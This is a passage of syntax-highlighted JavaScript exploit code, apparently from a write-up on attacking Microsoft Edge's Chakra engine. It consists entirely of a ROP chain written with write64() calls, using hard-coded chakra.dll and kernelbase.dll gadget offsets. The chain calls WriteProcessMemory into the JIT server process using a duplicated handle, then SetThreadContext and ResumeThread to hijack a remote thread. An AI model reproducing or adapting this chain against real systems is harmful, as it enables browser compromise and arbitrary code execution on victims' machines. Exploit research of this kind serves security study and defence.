    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// LPVOID lpBaseAddress (RDX)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a118</span><span class="o">-</span><span class="mh">0x08</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span>      <span class="c1">// .data section of kernelbase.dll where CONTEXT.Rsp resides</span>
    <span class="nx">next</span><span class="p">();</span>                                                                      
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret (Pointer to CONTEXT.Rsp)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x26ef31</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18026ef31: mov rax, qword [rax] ; ret (get CONTEXT.Rsp)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x435f21</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180435f21: mov rdx, rax ; mov rax, rdx ; add rsp, 0x28 ; ret (RAX and RDX now both have CONTEXT.Rsp)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// LPCVOID lpBuffer (R8)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropBegin</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data section of chakra.dll where our ROP chain is</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// HANDLE hProcess (RCX)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds the full perms handle to JIT server</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
    <span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it  </span>

    <span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x20)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
    <span class="nx">next</span><span class="p">();</span>
	<span class="c1">// SetThreadContext() ROP chain</span>
    <span class="c1">// Stage 10 -&gt; Update our remote thread's RIP to return execution into our VirtualProtect ROP chain</span>

    <span class="c1">// HANDLE hThread (RCX)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our thread HANDLE is</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// const CONTEXT *lpContext</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)</span>
    <span class="nx">next</span><span class="p">();</span>                                                                      
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// Call KERNELBASE!SetThreadContext</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x7aa0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!SetThreadContext address </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!SetThreadContext)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// "return address" for KERNELBASE!SetThreadContext - 0x180243949: add rsp, 0x38 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// ResumeThread() ROP chain</span>
    <span class="c1">// Stage 11 -&gt; Resume the thread, with RIP now pointing to a return into our ROP chain</span>

    <span class="c1">// HANDLE hThread (RCX)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>        <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our thread HANDLE is</span>
    <span class="nx">next</span><span class="p">();</span>
